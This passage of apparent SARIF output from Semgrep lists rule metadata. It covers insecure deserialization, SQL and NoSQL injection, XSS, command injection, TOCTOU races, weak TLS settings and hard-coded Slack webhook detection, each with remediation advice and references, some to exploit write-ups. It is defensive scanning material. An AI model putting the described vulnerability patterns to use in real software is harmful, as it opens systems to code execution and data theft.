malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","id":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","name":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","id":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","name":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","id":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","name":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","id":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","name":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `errors` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `errors` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1)\n","text":"the `errors` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1","id":"python.lang.compatibility.python36.python36-compatibility-Popen1","name":"python.lang.compatibility.python36.python36-compatibility-Popen1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"help":{"markdown":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup)\n - [https://tedboy.github.io/flask/generated/generated/flask.Markup.html](https://tedboy.github.io/flask/generated/generated/flask.Markup.html)\n","text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","id":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","name":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","id":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","name":"python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-torch-pickle-pyramid.tainted-torch-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"help":{"markdown":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution)\n - [https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186](https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186)\n","text":"Found request data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","id":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","name":"python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.globals-misuse-code-execution.globals-misuse-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Webhook detected"},"help":{"markdown":"Slack Webhook detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook)\n - [https://api.slack.com/messaging/webhooks](https://api.slack.com/messaging/webhooks)\n","text":"Slack Webhook detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-webhook.detected-slack-webhook","id":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","name":"generic.secrets.security.detected-slack-webhook.detected-slack-webhook","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-webhook.detected-slack-webhook"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli)\n - [https://knexjs.org/#Builder-fromRaw](https://knexjs.org/#Builder-fromRaw)\n - [https://knexjs.org/#Builder-whereRaw](https://knexjs.org/#Builder-whereRaw)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `knex.raw('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.knex-sqli.knex-sqli","id":"javascript.aws-lambda.security.knex-sqli.knex-sqli","name":"javascript.aws-lambda.security.knex-sqli.knex-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.knex-sqli.knex-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","id":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","name":"go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-vanillasql-format-string-sqli-taint.grpc-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsJs](https://docs.angularjs.org/api/ng/service/$sce#trustAsJs)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsJs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","id":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","name":"javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-js-method.detect-angular-trust-as-js-method"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"help":{"markdown":"Property decoded from JWT token without verifying and cannot be trustworthy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property)\n - [https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html](https://pragmaticwebsecurity.com/articles/oauthoidc/localstorage-xss.html)\n","text":"Property decoded from JWT token without verifying and cannot be trustworthy."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","id":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","name":"typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-jwt-decoded-property.react-jwt-decoded-property"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"help":{"markdown":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.create-with.create-with)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_create_with.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ](https://groups.google.com/g/rubyonrails-security/c/M4chq5Sb540/m/CC1Fh0Y_NWwJ)\n","text":"Checks for strong parameter bypass through usage of create_with. Create_with bypasses strong parameter protection, which could allow attackers to set arbitrary attributes on models. To fix this vulnerability, either remove all create_with calls or use the permit function to specify tags that are allowed to be set."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.create-with.create-with","id":"ruby.lang.security.create-with.create-with","name":"ruby.lang.security.create-with.create-with","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.create-with.create-with"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"help":{"markdown":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected `os` function with argument tainted by `event` object. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"help":{"markdown":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files](https://wiki.sei.cmu.edu/confluence/display/c/FIO45-C.+Avoid+TOCTOU+race+conditions+while+accessing+files)\n","text":"A check is done with `access` and then the file is later used. There is no guarantee that the status of the file has not changed since the call to `access` which may allow attackers to bypass permission checks."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","id":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","name":"cpp.lang.security.filesystem.file-access-before-action.file-access-before-action","properties":{"precision":"very-high","tags":["CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.file-access-before-action.file-access-before-action"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"help":{"markdown":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://golang.org/pkg/crypto/tls/#:~:text=MinVersion](https://golang.org/pkg/crypto/tls/#:~:text=MinVersion)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"`MinVersion` is missing from this TLS configuration.  By default, TLS 1.2 is currently used as the minimum when acting as a client, and TLS 1.0 when acting as a server. General purpose web applications should default to TLS 1.3 with all other protocols disabled.  Only where it is known that a web server must support legacy clients with unsupported an insecure browsers (such as Internet Explorer 10), it may be necessary to enable TLS 1.0 to provide support. Add `MinVersion: tls.VersionTLS13' to the TLS configuration to bump the minimum version to TLS 1.3."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","id":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","name":"go.lang.security.audit.crypto.missing-ssl-minversion.missing-ssl-minversion","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 